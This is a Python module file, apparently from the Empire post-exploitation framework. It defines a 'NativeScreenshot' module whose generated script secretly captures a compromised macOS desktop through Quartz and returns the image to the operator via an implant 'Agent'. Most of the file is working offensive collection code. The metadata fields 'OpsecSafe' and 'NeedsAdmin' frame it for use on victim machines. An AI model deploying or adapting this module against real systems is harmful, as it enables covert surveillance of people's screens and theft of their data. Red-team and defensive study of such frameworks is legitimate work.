Files
2017-11-29 19:06:55 -05:00

93 lines
3.2 KiB
Python

from zlib_wrapper import compress
import os
from lib.common import helpers
import hashlib
import base64
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'NativeScreenshot',
# list of one or more authors for the module
'Author': ['@xorrior'],
# more verbose multi-line description of the module
'Description': ('Takes a screenshot of an OSX desktop using the Python Quartz libraries and returns the data.'),
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
'OutputExtension': "png",
# if the module needs administrative privileges
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': []
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
try:
import Quartz
import Quartz.CoreGraphics as CG
from AppKit import *
import binascii
except ImportError:
print "Missing required module..."
onScreenWindows = CG.CGWindowListCreate(CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID)
desktopElements = Foundation.CFArrayCreateMutableCopy(None, 0, onScreenWindows)
imageRef = CG.CGWindowListCreateImageFromArray(CG.CGRectInfinite, desktopElements, CG.kCGWindowListOptionAll)
rep = NSBitmapImageRep.alloc().initWithCGImage_(imageRef)
props = NSDictionary()
imageData = rep.representationUsingType_properties_(NSPNGFileType,props)
imageString = str(imageData).strip('<').strip('>>').strip('native-selector bytes of')
hexstring = binascii.hexlify(imageString)
hex_data = hexstring.decode('hex')
print hex_data
"""
return script